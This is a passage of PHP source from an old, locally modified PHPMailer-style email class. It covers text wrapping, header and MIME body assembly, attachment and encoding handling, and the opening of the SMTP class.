  1832.      * Original written by philippe.  
  1833.      * @access private
  1834.      * @return string
  1835.      */
  1836.     function WrapText($message, $length, $qp_mode = false) {
  1837.         $soft_break = ($qp_mode) ? sprintf(" =%s", $this->LE) : $this->LE;
  1838.  
  1839.         $message = $this->FixEOL($message);
  1840.         if (substr($message, -1) == $this->LE)
  1841.             $message = substr($message, 0, -1);
  1842.  
  1843.         $line = explode($this->LE, $message);
  1844.         $message = "";
  1845.         for ($i=0 ;$i < count($line); $i++)
  1846.         {
  1847.           $line_part = explode(" ", $line[$i]);
  1848.           $buf = "";
  1849.           for ($e = 0; $e<count($line_part); $e++)
  1850.           {
  1851.               $word = $line_part[$e];
  1852.               if ($qp_mode and (strlen($word) > $length))
  1853.               {
  1854.                 $space_left = $length - strlen($buf) - 1;
  1855.                 if ($e != 0)
  1856.                 {
  1857.                     if ($space_left > 20)
  1858.                     {
  1859.                         $len = $space_left;
  1860.                         if (substr($word, $len - 1, 1) == "=")
  1861.                           $len--;
  1862.                         elseif (substr($word, $len - 2, 1) == "=")
  1863.                           $len -= 2;
  1864.                         $part = substr($word, 0, $len);
  1865.                         $word = substr($word, $len);
  1866.                         $buf .= " " . $part;
  1867.                         $message .= $buf . sprintf("=%s", $this->LE);
  1868.                     }
  1869.                     else
  1870.                     {
  1871.                         $message .= $buf . $soft_break;
  1872.                     }
  1873.                     $buf = "";
  1874.                 }
  1875.                 while (strlen($word) > 0)
  1876.                 {
  1877.                     $len = $length;
  1878.                     if (substr($word, $len - 1, 1) == "=")
  1879.                         $len--;
  1880.                     elseif (substr($word, $len - 2, 1) == "=")
  1881.                         $len -= 2;
  1882.                     $part = substr($word, 0, $len);
  1883.                     $word = substr($word, $len);
  1884.  
  1885.                     if (strlen($word) > 0)
  1886.                         $message .= $part . sprintf("=%s", $this->LE);
  1887.                     else
  1888.                         $buf = $part;
  1889.                 }
  1890.               }
  1891.               else
  1892.               {
  1893.                 $buf_o = $buf;
  1894.                 $buf .= ($e == 0) ? $word : (" " . $word);
  1895.  
  1896.                 if (strlen($buf) > $length and $buf_o != "")
  1897.                 {
  1898.                     $message .= $buf_o . $soft_break;
  1899.                     $buf = $word;
  1900.                 }
  1901.               }
  1902.           }
  1903.           $message .= $buf . $this->LE;
  1904.         }
  1905.  
  1906.         return $message;
  1907.     }
  1908.    
  1909.     /**
  1910.      * Set the body wrapping.
  1911.      * @access private
  1912.      * @return void
  1913.      */
  1914.     function SetWordWrap() {
  1915.         if($this->WordWrap < 1)
  1916.             return;
  1917.            
  1918.         switch($this->message_type)
  1919.         {
  1920.            case "alt":
  1921.               // fall through
  1922.            case "alt_attachments":
  1923.               $this->AltBody = $this->WrapText($this->AltBody, $this->WordWrap);
  1924.               break;
  1925.            default:
  1926.               $this->Body = $this->WrapText($this->Body, $this->WordWrap);
  1927.               break;
  1928.         }
  1929.     }
  1930.  
  1931.     /**
  1932.      * Assembles message header.  
  1933.      * @access private
  1934.      * @return string
  1935.      */
  1936.     function CreateHeader() {
  1937.         $result = "";
  1938.        
  1939.         // Set the boundaries
  1940.         $uniq_id = md5(uniqid(time()));
  1941.         $this->boundary[1] = "b1_" . $uniq_id;
  1942.         $this->boundary[2] = "b2_" . $uniq_id;
  1943.  
  1944.         $result .= $this->HeaderLine("Date", $this->RFCDate());
  1945.         if($this->Sender == "")
  1946.             $result .= $this->HeaderLine("Return-Path", trim($this->From));
  1947.         else
  1948.             $result .= $this->HeaderLine("Return-Path", trim($this->Sender));
  1949.        
  1950.         // To be created automatically by mail()
  1951.         if($this->Mailer != "mail")
  1952.         {
  1953.             if(count($this->to) > 0)
  1954.                 $result .= $this->AddrAppend("To", $this->to);
  1955.             else if (count($this->cc) == 0)
  1956.                 $result .= $this->HeaderLine("To", "undisclosed-recipients:;");
  1957.             if(count($this->cc) > 0)
  1958.                 $result .= $this->AddrAppend("Cc", $this->cc);
  1959.         }
  1960.  
  1961.         $from = array();
  1962.         $from[0][0] = trim($this->From);
  1963.         $from[0][1] = $this->FromName;
  1964.         $result .= $this->AddrAppend("From", $from);
  1965.  
  1966.         // sendmail and mail() extract Bcc from the header before sending
  1967.         if((($this->Mailer == "sendmail") || ($this->Mailer == "mail")) && (count($this->bcc) > 0))
  1968.             $result .= $this->AddrAppend("Bcc", $this->bcc);
  1969.  
  1970.         if(count($this->ReplyTo) > 0)
  1971.             $result .= $this->AddrAppend("Reply-to", $this->ReplyTo);
  1972.  
  1973.         // mail() sets the subject itself
  1974.         if($this->Mailer != "mail")
  1975.             $result .= $this->HeaderLine("Subject", $this->EncodeHeader(trim($this->Subject)));
  1976.  
  1977.         //$result .= sprintf("Message-ID: <%s@%s>%s", $uniq_id, $this->ServerHostname(), $this->LE);
  1978.         $result .= $this->HeaderLine("X-Priority", $this->Priority);
  1979.         //$result .= $this->HeaderLine("X-Mailer", $this->XMailer);
  1980.         $result .= $this->HeaderLine("List-Unsubscribe", $this->ListUnsubscribe);
  1981.         $result .= $this->HeaderLine("X-SG-EID", $this->XSGEID);
  1982.         $result .= $this->HeaderLine("Return-Path", $this->ReturnPath);
  1983.         if($this->ConfirmReadingTo != "")
  1984.         {
  1985.             $result .= $this->HeaderLine("Disposition-Notification-To",
  1986.                        "<" . trim($this->ConfirmReadingTo) . ">");
  1987.         }
  1988.  
  1989.         // Add custom headers
  1990.         /*for($index = 0; $index < count($this->CustomHeader); $index++)
  1991.         {
  1992.             $result .= $this->HeaderLine(trim($this->CustomHeader[$index][0]),
  1993.                        $this->EncodeHeader(trim($this->CustomHeader[$index][1])));
  1994.         }*/
  1995.        
  1996.         foreach( $this->CustomHeader as $headerName => $headerValue )
  1997.         {
  1998.             $result .=  $this->HeaderLine(trim($headerName),
  1999.                         $this->EncodeHeader(trim($headerValue)));
  2000.         }
  2001.        
  2002.         $result .= $this->HeaderLine("MIME-Version", "1.0");
  2003.  
  2004.         switch($this->message_type)
  2005.         {
  2006.             case "plain":
  2007.                 $result .= $this->HeaderLine("Content-Transfer-Encoding", $this->Encoding);
  2008.                 $result .= sprintf("Content-Type: %s; charset=\"%s\"",
  2009.                                     $this->ContentType, $this->CharSet);
  2010.                 break;
  2011.             case "attachments":
  2012.                 // fall through
  2013.             case "alt_attachments":
  2014.                 if($this->InlineImageExists())
  2015.                 {
  2016.                     $result .= sprintf("Content-Type: %s;%s\ttype=\"text/html\";%s\tboundary=\"%s\"%s",
  2017.                                     "multipart/related", $this->LE, $this->LE,
  2018.                                     $this->boundary[1], $this->LE);
  2019.                 }
  2020.                 else
  2021.                 {
  2022.                     $result .= $this->HeaderLine("Content-Type", "multipart/mixed;");
  2023.                     $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
  2024.                 }
  2025.                 break;
  2026.             case "alt":
  2027.                 $result .= $this->HeaderLine("Content-Type", "multipart/alternative;");
  2028.                 $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
  2029.                 break;
  2030.         }
  2031.  
  2032.         if($this->Mailer != "mail")
  2033.             $result .= $this->LE.$this->LE;
  2034.  
  2035.         return $result;
  2036.     }
  2037.  
  2038.     /**
  2039.      * Assembles the message body.  Returns an empty string on failure.
  2040.      * @access private
  2041.      * @return string
  2042.      */
  2043.     function CreateBody() {
  2044.         $result = "";
  2045.  
  2046.         $this->SetWordWrap();
  2047.  
  2048.         switch($this->message_type)
  2049.         {
  2050.             case "alt":
  2051.                 $result .= $this->GetBoundary($this->boundary[1], "",
  2052.                                               "text/plain", "");
  2053.                 $result .= $this->EncodeString($this->AltBody, $this->Encoding);
  2054.                 $result .= $this->LE.$this->LE;
  2055.                 $result .= $this->GetBoundary($this->boundary[1], "",
  2056.                                               "text/html", "");
  2057.                
  2058.                 $result .= $this->EncodeString($this->Body, $this->Encoding);
  2059.                 $result .= $this->LE.$this->LE;
  2060.    
  2061.                 $result .= $this->EndBoundary($this->boundary[1]);
  2062.                 break;
  2063.             case "plain":
  2064.                 $result .= $this->EncodeString($this->Body, $this->Encoding);
  2065.                 break;
  2066.             case "attachments":
  2067.                 $result .= $this->GetBoundary($this->boundary[1], "", "", "");
  2068.                 $result .= $this->EncodeString($this->Body, $this->Encoding);
  2069.                 $result .= $this->LE;
  2070.      
  2071.                 $result .= $this->AttachAll();
  2072.                 break;
  2073.             case "alt_attachments":
  2074.                 $result .= sprintf("--%s%s", $this->boundary[1], $this->LE);
  2075.                 $result .= sprintf("Content-Type: %s;%s" .
  2076.                                    "\tboundary=\"%s\"%s",
  2077.                                    "multipart/alternative", $this->LE,
  2078.                                    $this->boundary[2], $this->LE.$this->LE);
  2079.    
  2080.                 // Create text body
  2081.                 $result .= $this->GetBoundary($this->boundary[2], "",
  2082.                                               "text/plain", "") . $this->LE;
  2083.  
  2084.                 $result .= $this->EncodeString($this->AltBody, $this->Encoding);
  2085.                 $result .= $this->LE.$this->LE;
  2086.    
  2087.                 // Create the HTML body
  2088.                 $result .= $this->GetBoundary($this->boundary[2], "",
  2089.                                               "text/html", "") . $this->LE;
  2090.    
  2091.                 $result .= $this->EncodeString($this->Body, $this->Encoding);
  2092.                 $result .= $this->LE.$this->LE;
  2093.  
  2094.                 $result .= $this->EndBoundary($this->boundary[2]);
  2095.                
  2096.                 $result .= $this->AttachAll();
  2097.                 break;
  2098.         }
  2099.         if($this->IsError())
  2100.             $result = "";
  2101.  
  2102.         return $result;
  2103.     }
  2104.  
  2105.     /**
  2106.      * Returns the start of a message boundary.
  2107.      * @access private
  2108.      */
  2109.     function GetBoundary($boundary, $charSet, $contentType, $encoding) {
  2110.         $result = "";
  2111.         if($charSet == "") { $charSet = $this->CharSet; }
  2112.         if($contentType == "") { $contentType = $this->ContentType; }
  2113.         if($encoding == "") { $encoding = $this->Encoding; }
  2114.  
  2115.         $result .= $this->TextLine("--" . $boundary);
  2116.         $result .= sprintf("Content-Type: %s; charset = \"%s\"",
  2117.                             $contentType, $charSet);
  2118.         $result .= $this->LE;
  2119.         $result .= $this->HeaderLine("Content-Transfer-Encoding", $encoding);
  2120.         $result .= $this->LE;
  2121.        
  2122.         return $result;
  2123.     }
  2124.    
  2125.     /**
  2126.      * Returns the end of a message boundary.
  2127.      * @access private
  2128.      */
  2129.     function EndBoundary($boundary) {
  2130.         return $this->LE . "--" . $boundary . "--" . $this->LE;
  2131.     }
  2132.    
  2133.     /**
  2134.      * Sets the message type.
  2135.      * @access private
  2136.      * @return void
  2137.      */
  2138.     function SetMessageType() {
  2139.         if(count($this->attachment) < 1 && strlen($this->AltBody) < 1)
  2140.             $this->message_type = "plain";
  2141.         else
  2142.         {
  2143.             if(count($this->attachment) > 0)
  2144.                 $this->message_type = "attachments";
  2145.             if(strlen($this->AltBody) > 0 && count($this->attachment) < 1)
  2146.                 $this->message_type = "alt";
  2147.             if(strlen($this->AltBody) > 0 && count($this->attachment) > 0)
  2148.                 $this->message_type = "alt_attachments";
  2149.         }
  2150.     }
  2151.  
  2152.     /**
  2153.      * Returns a formatted header line.
  2154.      * @access private
  2155.      * @return string
  2156.      */
  2157.     function HeaderLine($name, $value) {
  2158.         return $name . ": " . $value . $this->LE;
  2159.     }
  2160.  
  2161.     /**
  2162.      * Returns a formatted mail line.
  2163.      * @access private
  2164.      * @return string
  2165.      */
  2166.     function TextLine($value) {
  2167.         return $value . $this->LE;
  2168.     }
  2169.  
  2170.     /////////////////////////////////////////////////
  2171.     // ATTACHMENT METHODS
  2172.     /////////////////////////////////////////////////
  2173.  
  2174.     /**
  2175.      * Adds an attachment from a path on the filesystem.
  2176.      * Returns false if the file could not be found
  2177.      * or accessed.
  2178.      * @param string $path Path to the attachment.
  2179.      * @param string $name Overrides the attachment name.
  2180.      * @param string $encoding File encoding (see $Encoding).
  2181.      * @param string $type File extension (MIME) type.
  2182.      * @return bool
  2183.      */
  2184.     function AddAttachment($path, $name = "", $encoding = "base64",
  2185.                            $type = "application/octet-stream") {
  2186.         if(!@is_file($path))
  2187.         {
  2188.             $this->SetError($this->Lang("file_access") . $path);
  2189.             return false;
  2190.         }
  2191.  
  2192.         $filename = basename($path);
  2193.         if($name == "")
  2194.             $name = $filename;
  2195.  
  2196.         $cur = count($this->attachment);
  2197.         $this->attachment[$cur][0] = $path;
  2198.         $this->attachment[$cur][1] = $filename;
  2199.         $this->attachment[$cur][2] = $name;
  2200.         $this->attachment[$cur][3] = $encoding;
  2201.         $this->attachment[$cur][4] = $type;
  2202.         $this->attachment[$cur][5] = false; // isStringAttachment
  2203.         $this->attachment[$cur][6] = "attachment";
  2204.         $this->attachment[$cur][7] = 0;
  2205.  
  2206.         return true;
  2207.     }
  2208.  
  2209.     /**
  2210.      * Attaches all fs, string, and binary attachments to the message.
  2211.      * Returns an empty string on failure.
  2212.      * @access private
  2213.      * @return string
  2214.      */
  2215.     function AttachAll() {
  2216.         // Return text of body
  2217.         $mime = array();
  2218.  
  2219.         // Add all attachments
  2220.         for($i = 0; $i < count($this->attachment); $i++)
  2221.         {
  2222.             // Check for string attachment
  2223.             $bString = $this->attachment[$i][5];
  2224.             if ($bString)
  2225.                 $string = $this->attachment[$i][0];
  2226.             else
  2227.                 $path = $this->attachment[$i][0];
  2228.  
  2229.             $filename    = $this->attachment[$i][1];
  2230.             $name        = $this->attachment[$i][2];
  2231.             $encoding    = $this->attachment[$i][3];
  2232.             $type        = $this->attachment[$i][4];
  2233.             $disposition = $this->attachment[$i][6];
  2234.             $cid         = $this->attachment[$i][7];
  2235.            
  2236.             $mime[] = sprintf("--%s%s", $this->boundary[1], $this->LE);
  2237.             $mime[] = sprintf("Content-Type: %s; name=\"%s\"%s", $type, $name, $this->LE);
  2238.             $mime[] = sprintf("Content-Transfer-Encoding: %s%s", $encoding, $this->LE);
  2239.  
  2240.             if($disposition == "inline")
  2241.                 $mime[] = sprintf("Content-ID: <%s>%s", $cid, $this->LE);
  2242.  
  2243.             $mime[] = sprintf("Content-Disposition: %s; filename=\"%s\"%s",
  2244.                               $disposition, $name, $this->LE.$this->LE);
  2245.  
  2246.             // Encode as string attachment
  2247.             if($bString)
  2248.             {
  2249.                 $mime[] = $this->EncodeString($string, $encoding);
  2250.                 if($this->IsError()) { return ""; }
  2251.                 $mime[] = $this->LE.$this->LE;
  2252.             }
  2253.             else
  2254.             {
  2255.                 $mime[] = $this->EncodeFile($path, $encoding);                
  2256.                 if($this->IsError()) { return ""; }
  2257.                 $mime[] = $this->LE.$this->LE;
  2258.             }
  2259.         }
  2260.  
  2261.         $mime[] = sprintf("--%s--%s", $this->boundary[1], $this->LE);
  2262.  
  2263.         return join("", $mime);
  2264.     }
  2265.    
  2266.     /**
  2267.      * Encodes attachment in requested format.  Returns an
  2268.      * empty string on failure.
  2269.      * @access private
  2270.      * @return string
  2271.      */
  2272.     function EncodeFile ($path, $encoding = "base64") {
  2273.         if(!@$fd = fopen($path, "rb"))
  2274.         {
  2275.             $this->SetError($this->Lang("file_open") . $path);
  2276.             return "";
  2277.         }
  2278.         $magic_quotes = get_magic_quotes_runtime();
  2279.         set_magic_quotes_runtime(0);
  2280.         $file_buffer = fread($fd, filesize($path));
  2281.         $file_buffer = $this->EncodeString($file_buffer, $encoding);
  2282.         fclose($fd);
  2283.         set_magic_quotes_runtime($magic_quotes);
  2284.  
  2285.         return $file_buffer;
  2286.     }
  2287.  
  2288.     /**
  2289.      * Encodes string to requested format. Returns an
  2290.      * empty string on failure.
  2291.      * @access private
  2292.      * @return string
  2293.      */
  2294.     function EncodeString ($str, $encoding = "base64") {
  2295.         $encoded = "";
  2296.         switch(strtolower($encoding)) {
  2297.           case "base64":
  2298.               // chunk_split is found in PHP >= 3.0.6
  2299.               $encoded = chunk_split(base64_encode($str), 76, $this->LE);
  2300.               break;
  2301.           case "7bit":
  2302.  
  2303.  
  2304.           case "8bit":
  2305.               $encoded = $this->FixEOL($str);
  2306.               if (substr($encoded, -(strlen($this->LE))) != $this->LE)
  2307.                 $encoded .= $this->LE;
  2308.               break;
  2309.           case "binary":
  2310.               $encoded = $str;
  2311.               break;
  2312.           case "quoted-printable":
  2313.               $encoded = $this->EncodeQP($str);
  2314.               break;
  2315.           default:
  2316.               $this->SetError($this->Lang("encoding") . $encoding);
  2317.               break;
  2318.         }
  2319.         return $encoded;
  2320.     }
  2321.  
  2322.     /**
  2323.      * Encode a header string to best of Q, B, quoted or none.  
  2324.      * @access private
  2325.      * @return string
  2326.      */
  2327.     function EncodeHeader ($str, $position = 'text') {
  2328.       $x = 0;
  2329.      
  2330.       switch (strtolower($position)) {
  2331.         case 'phrase':
  2332.           if (!preg_match('/[\200-\377]/', $str)) {
  2333.             // Can't use addslashes as we don't know what value has magic_quotes_sybase.
  2334.             $encoded = addcslashes($str, "\0..\37\177\\\"");
  2335.  
  2336.             if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str))
  2337.               return ($encoded);
  2338.             else
  2339.               return ("\"$encoded\"");
  2340.           }
  2341.           $x = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
  2342.           break;
  2343.         case 'comment':
  2344.           $x = preg_match_all('/[()"]/', $str, $matches);
  2345.           // Fall-through
  2346.         case 'text':
  2347.         default:
  2348.           $x += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
  2349.           break;
  2350.       }
  2351.  
  2352.       if ($x == 0)
  2353.         return ($str);
  2354.  
  2355.       $maxlen = 75 - 7 - strlen($this->CharSet);
  2356.       // Try to select the encoding which should produce the shortest output
  2357.       if (strlen($str)/3 < $x) {
  2358.         $encoding = 'B';
  2359.         $encoded = base64_encode($str);
  2360.         $maxlen -= $maxlen % 4;
  2361.         $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
  2362.       } else {
  2363.         $encoding = 'Q';
  2364.         $encoded = $this->EncodeQ($str, $position);
  2365.         $encoded = $this->WrapText($encoded, $maxlen, true);
  2366.         $encoded = str_replace("=".$this->LE, "\n", trim($encoded));
  2367.       }
  2368.  
  2369.       $encoded = preg_replace('/^(.*)$/m', " =?".$this->CharSet."?$encoding?\\1?=", $encoded);
  2370.       $encoded = trim(str_replace("\n", $this->LE, $encoded));
  2371.      
  2372.       return $encoded;
  2373.     }
  2374.    
  2375.     /**
  2376.      * Encode string to quoted-printable.  
  2377.      * @access private
  2378.      * @return string
  2379.      */
  2380.     function EncodeQP ($str) {
  2381.         $encoded = $this->FixEOL($str);
  2382.         if (substr($encoded, -(strlen($this->LE))) != $this->LE)
  2383.             $encoded .= $this->LE;
  2384.  
  2385.         // Replace every high ascii, control and = characters
  2386.         $encoded = preg_replace('/([\000-\010\013\014\016-\037\075\177-\377])/e',
  2387.                   "'='.sprintf('%02X', ord('\\1'))", $encoded);
  2388.         // Replace every spaces and tabs when it's the last character on a line
  2389.         $encoded = preg_replace("/([\011\040])".$this->LE."/e",
  2390.                   "'='.sprintf('%02X', ord('\\1')).'".$this->LE."'", $encoded);
  2391.  
  2392.         // Maximum line length of 76 characters before CRLF (74 + space + '=')
  2393.         $encoded = $this->WrapText($encoded, 74, true);
  2394.  
  2395.         return $encoded;
  2396.     }
  2397.  
  2398.     /**
  2399.      * Encode string to q encoding.  
  2400.      * @access private
  2401.      * @return string
  2402.      */
  2403.     function EncodeQ ($str, $position = "text") {
  2404.         // There should not be any EOL in the string
  2405.         $encoded = preg_replace("[\r\n]", "", $str);
  2406.  
  2407.         switch (strtolower($position)) {
  2408.           case "phrase":
  2409.             $encoded = preg_replace("/([^A-Za-z0-9!*+\/ -])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
  2410.             break;
  2411.           case "comment":
  2412.             $encoded = preg_replace("/([\(\)\"])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
  2413.           case "text":
  2414.           default:
  2415.             // Replace every high ascii, control =, ? and _ characters
  2416.             $encoded = preg_replace('/([\000-\011\013\014\016-\037\075\077\137\177-\377])/e',
  2417.                   "'='.sprintf('%02X', ord('\\1'))", $encoded);
  2418.             break;
  2419.         }
  2420.        
  2421.         // Replace every spaces to _ (more readable than =20)
  2422.         $encoded = str_replace(" ", "_", $encoded);
  2423.  
  2424.         return $encoded;
  2425.     }
  2426.  
  2427.     /**
  2428.      * Adds a string or binary attachment (non-filesystem) to the list.
  2429.      * This method can be used to attach ascii or binary data,
  2430.      * such as a BLOB record from a database.
  2431.      * @param string $string String attachment data.
  2432.      * @param string $filename Name of the attachment.
  2433.      * @param string $encoding File encoding (see $Encoding).
  2434.      * @param string $type File extension (MIME) type.
  2435.      * @return void
  2436.      */
  2437.     function AddStringAttachment($string, $filename, $encoding = "base64",
  2438.                                  $type = "application/octet-stream") {
  2439.         // Append to $attachment array
  2440.         $cur = count($this->attachment);
  2441.         $this->attachment[$cur][0] = $string;
  2442.         $this->attachment[$cur][1] = $filename;
  2443.         $this->attachment[$cur][2] = $filename;
  2444.         $this->attachment[$cur][3] = $encoding;
  2445.         $this->attachment[$cur][4] = $type;
  2446.         $this->attachment[$cur][5] = true; // isString
  2447.         $this->attachment[$cur][6] = "attachment";
  2448.         $this->attachment[$cur][7] = 0;
  2449.     }
  2450.    
  2451.     /**
  2452.      * Adds an embedded attachment.  This can include images, sounds, and
  2453.      * just about any other document.  Make sure to set the $type to an
  2454.      * image type.  For JPEG images use "image/jpeg" and for GIF images
  2455.      * use "image/gif".
  2456.      * @param string $path Path to the attachment.
  2457.      * @param string $cid Content ID of the attachment.  Use this to identify
  2458.      *        the Id for accessing the image in an HTML form.
  2459.      * @param string $name Overrides the attachment name.
  2460.      * @param string $encoding File encoding (see $Encoding).
  2461.      * @param string $type File extension (MIME) type.  
  2462.      * @return bool
  2463.      */
  2464.     function AddEmbeddedImage($path, $cid, $name = "", $encoding = "base64",
  2465.                               $type = "application/octet-stream") {
  2466.    
  2467.         if(!@is_file($path))
  2468.         {
  2469.             $this->SetError($this->Lang("file_access") . $path);
  2470.             return false;
  2471.         }
  2472.  
  2473.         $filename = basename($path);
  2474.         if($name == "")
  2475.             $name = $filename;
  2476.  
  2477.         // Append to $attachment array
  2478.         $cur = count($this->attachment);
  2479.         $this->attachment[$cur][0] = $path;
  2480.         $this->attachment[$cur][1] = $filename;
  2481.         $this->attachment[$cur][2] = $name;
  2482.         $this->attachment[$cur][3] = $encoding;
  2483.         $this->attachment[$cur][4] = $type;
  2484.         $this->attachment[$cur][5] = false; // isStringAttachment
  2485.         $this->attachment[$cur][6] = "inline";
  2486.         $this->attachment[$cur][7] = $cid;
  2487.    
  2488.         return true;
  2489.     }
  2490.    
  2491.     /**
  2492.      * Returns true if an inline attachment is present.
  2493.      * @access private
  2494.      * @return bool
  2495.      */
  2496.     function InlineImageExists() {
  2497.         $result = false;
  2498.         for($i = 0; $i < count($this->attachment); $i++)
  2499.         {
  2500.             if($this->attachment[$i][6] == "inline")
  2501.             {
  2502.                 $result = true;
  2503.                 break;
  2504.             }
  2505.         }
  2506.        
  2507.         return $result;
  2508.     }
  2509.  
  2510.     /////////////////////////////////////////////////
  2511.     // MESSAGE RESET METHODS
  2512.     /////////////////////////////////////////////////
  2513.  
  2514.     /**
  2515.      * Clears all recipients assigned in the TO array.  Returns void.
  2516.      * @return void
  2517.      */
  2518.     function ClearAddresses() {
  2519.         $this->to = array();
  2520.     }
  2521.  
  2522.     /**
  2523.      * Clears all recipients assigned in the CC array.  Returns void.
  2524.      * @return void
  2525.      */
  2526.     function ClearCCs() {
  2527.         $this->cc = array();
  2528.     }
  2529.  
  2530.     /**
  2531.      * Clears all recipients assigned in the BCC array.  Returns void.
  2532.      * @return void
  2533.      */
  2534.     function ClearBCCs() {
  2535.         $this->bcc = array();
  2536.     }
  2537.  
  2538.     /**
  2539.      * Clears all recipients assigned in the ReplyTo array.  Returns void.
  2540.      * @return void
  2541.      */
  2542.     function ClearReplyTos() {
  2543.         $this->ReplyTo = array();
  2544.     }
  2545.  
  2546.     /**
  2547.      * Clears all recipients assigned in the TO, CC and BCC
  2548.      * array.  Returns void.
  2549.      * @return void
  2550.      */
  2551.     function ClearAllRecipients() {
  2552.         $this->to = array();
  2553.         $this->cc = array();
  2554.         $this->bcc = array();
  2555.     }
  2556.  
  2557.     /**
  2558.      * Clears all previously set filesystem, string, and binary
  2559.      * attachments.  Returns void.
  2560.      * @return void
  2561.      */
  2562.     function ClearAttachments() {
  2563.         $this->attachment = array();
  2564.     }
  2565.  
  2566.     /**
  2567.      * Clears all custom headers.  Returns void.
  2568.      * @return void
  2569.      */
  2570.     function ClearCustomHeaders() {
  2571.         $this->CustomHeader = array();
  2572.     }
  2573.  
  2574.  
  2575.     /////////////////////////////////////////////////
  2576.     // MISCELLANEOUS METHODS
  2577.     /////////////////////////////////////////////////
  2578.  
  2579.     /**
  2580.      * Adds the error message to the error container.
  2581.      * Returns void.
  2582.      * @access private
  2583.      * @return void
  2584.      */
  2585.     function SetError($msg) {
  2586.         $this->error_count++;
  2587.         $this->ErrorInfo = $msg;
  2588.     }
  2589.  
  2590.     /**
  2591.      * Returns the proper RFC 822 formatted date.
  2592.      * @access private
  2593.      * @return string
  2594.      */
  2595.     function RFCDate() {
  2596.         $tz = date("Z");
  2597.         $tzs = ($tz < 0) ? "-" : "+";
  2598.         $tz = abs($tz);
  2599.         $tz = ($tz/3600)*100 + ($tz%3600)/60;
  2600.         $result = sprintf("%s %s%04d", date("D, j M Y H:i:s"), $tzs, $tz);
  2601.  
  2602.         return $result;
  2603.     }
  2604.    
  2605.     /**
  2606.      * Returns the appropriate server variable.  Should work with both
  2607.      * PHP 4.1.0+ as well as older versions.  Returns an empty string
  2608.      * if nothing is found.
  2609.      * @access private
  2610.      * @return mixed
  2611.      */
  2612.     function ServerVar($varName) {
  2613.         global $HTTP_SERVER_VARS;
  2614.         global $HTTP_ENV_VARS;
  2615.  
  2616.         if(!isset($_SERVER))
  2617.         {
  2618.             $_SERVER = $HTTP_SERVER_VARS;
  2619.             if(!isset($_SERVER["REMOTE_ADDR"]))
  2620.                 $_SERVER = $HTTP_ENV_VARS; // must be Apache
  2621.         }
  2622.        
  2623.         if(isset($_SERVER[$varName]))
  2624.             return $_SERVER[$varName];
  2625.         else
  2626.             return "";
  2627.     }
  2628.  
  2629.     /**
  2630.      * Returns the server hostname or 'localhost.localdomain' if unknown.
  2631.      * @access private
  2632.      * @return string
  2633.      */
  2634.     function ServerHostname() {
  2635.         if ($this->Hostname != "")
  2636.             $result = $this->Hostname;
  2637.         elseif ($this->ServerVar('SERVER_NAME') != "")
  2638.             $result = $this->ServerVar('SERVER_NAME');
  2639.         else
  2640.             $result = "localhost.localdomain";
  2641.  
  2642.         return $result;
  2643.     }
  2644.  
  2645.     /**
  2646.      * Returns a message in the appropriate language.
  2647.      * @access private
  2648.      * @return string
  2649.      */
  2650.     function Lang($key) {
  2651.         if(count($this->language) < 1)
  2652.             $this->SetLanguage("en"); // set the default language
  2653.    
  2654.         if(isset($this->language[$key]))
  2655.             return $this->language[$key];
  2656.         else
  2657.             return "Language string failed to load: " . $key;
  2658.     }
  2659.    
  2660.     /**
  2661.      * Returns true if an error occurred.
  2662.      * @return bool
  2663.      */
  2664.     function IsError() {
  2665.         return ($this->error_count > 0);
  2666.     }
  2667.  
  2668.     /**
  2669.      * Changes every end of line from CR or LF to CRLF.  
  2670.      * @access private
  2671.      * @return string
  2672.      */
  2673.     function FixEOL($str) {
  2674.         $str = str_replace("\r\n", "\n", $str);
  2675.         $str = str_replace("\r", "\n", $str);
  2676.         $str = str_replace("\n", $this->LE, $str);
  2677.         return $str;
  2678.     }
  2679.  
  2680.     /**
  2681.      * Adds a custom header.
  2682.      * @return void
  2683.      */
  2684.     function AddCustomHeader($custom_header)
  2685.     {
  2686.         //$this->CustomHeader[] = explode(":", $custom_header, 2);
  2687.         $custom_header = explode(":", $custom_header, 2);
  2688.         $this->CustomHeader[ trim($custom_header[0]) ] = trim($custom_header[1]);
  2689.     }
  2690. }
  2691.  
  2692. /**
  2693.  * SMTP is rfc 821 compliant and implements all the rfc 821 SMTP
  2694.  * commands except TURN which will always return a not implemented
  2695.  * error. SMTP also provides some utility methods for sending mail
  2696.  * to an SMTP server.
  2697.  * @package PHPMailer
  2698.  * @author Chris Ryan
  2699.  */
  2700. class SMTP
  2701. {
  2702.     /**
  2703.      *  SMTP server port
  2704.      *  @var int
  2705.      */
  2706.     var $SMTP_PORT = 25;
  2707.    
  2708.     /**
  2709.      *  SMTP reply line ending
  2710.      *  @var string
  2711.      */
  2712.     var $CRLF = "\r\n";
  2713.    
  2714.     /**
  2715.      *  Sets whether debugging is turned on
  2716.      *  @var bool
  2717.      */
  2718.     var $do_debug = 0;       # the level of debug to perform
  2719.  
  2720.     /**#@+
  2721.      * @access private
  2722.      */
  2723.     var $smtp_conn;      # the socket to the server
  2724.    var $error;          # error if any on the last call
  2725.    var $helo_rply;      # the reply the server sent to us for HELO
  2726.    var $smtp_buffer;    # smtp buffer
  2727.    
  2728.     var $smtpError     = null;
  2729.     var $smtpSendError = 0;
  2730.     /**#@-*/
  2731.  
  2732.     /**
  2733.      * Initialize the class so that the data is in a known state.
  2734.      * @access public
  2735.      * @return void
  2736.      */
  2737.     function SMTP() {
  2738.         $this->smtp_conn = 0;
  2739.         $this->error = null;
  2740.         $this->helo_rply = null;
  2741.  
  2742.         $this->do_debug = 1;
  2743.     }
  2744.  
  2745.     /*************************************************************
  2746.      *                    CONNECTION FUNCTIONS                  *
  2747.      ***********************************************************/
  2748.  
  2749.     /**
  2750.      * Connect to the server specified on the port specified.
  2751.      * If the port is not specified use the default SMTP_PORT.
  2752.      * If tval is specified then a connection will try and be
  2753.      * established with the server for that number of seconds.
  2754.      * If tval is not specified the default is 30 seconds to
  2755.      * try on the connection.
  2756.      *
  2757.      * SMTP CODE SUCCESS: 220
  2758.      * SMTP CODE FAILURE: 421
